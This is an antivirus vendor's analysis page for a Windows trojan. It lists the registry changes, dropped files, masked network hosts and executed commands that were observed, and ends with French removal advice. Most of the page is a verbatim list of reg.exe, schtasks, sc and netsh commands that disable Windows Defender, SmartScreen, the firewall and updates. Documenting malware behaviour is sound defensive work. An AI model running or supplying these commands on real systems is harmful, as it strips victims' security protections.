# Trojan.MulDrop16.42059

**Added to the Dr.Web virus database:** 2021-04-09

**Virus description added:** 2021-04-10

## Technical Information

### To ensure autorun and distribution

Sets the following service settings

- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'

### Malicious functions

To bypass firewall, removes or modifies the following registry keys

- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

- Windows Firewall
- Windows Defender

### Modifies file system

Creates the following files

- %APPDATA%\microsoft\ruhsat.png
- %APPDATA%\microsoft\selammm.bat
- nul

### Network activity

Connects to

- 'i.####iresim.com':443
- 'cd#.##scordapp.com':443

TCP

- 'i.####iresim.com':443
- 'cd#.##scordapp.com':443

UDP

- DNS ASK i.####iresim.com
- DNS ASK cd#.##scordapp.com

### Miscellaneous

Executes the following

- '%WINDIR%\syswow64\cmd.exe' /c selammm.bat
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t "REG_DWORD" /d "2" /f
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\MpsSvc" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t "REG_DWORD" /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallTime" /t "REG_DWORD" /d "3" /f
- '%WINDIR%\syswow64\sc.exe' stop "UsoSvc"
- '%WINDIR%\syswow64\sc.exe' config "UsoSvc" start=disabled
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\fltmc.exe'
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallDay" /t "REG_DWORD" /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

## Recommandations pour le traitement

Windows | macOS | Linux | Android

1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Version démo gratuite

Télécharger Dr.Web

Par le numéro de série

Trojan.DownLoader38.26870

Trojan.DownLoader38.26925

Pour les particuliers

Pour entreprises

Support technique

Pour les utilisateurs

Partenaires

A propos de Doctor Web

Contacts

Politique de confidentialité

Doctor Web développe et édite des solutions de cybersécurité axées sur la détection de menaces et les technologies de prévention et de réponse aux cyberattaques.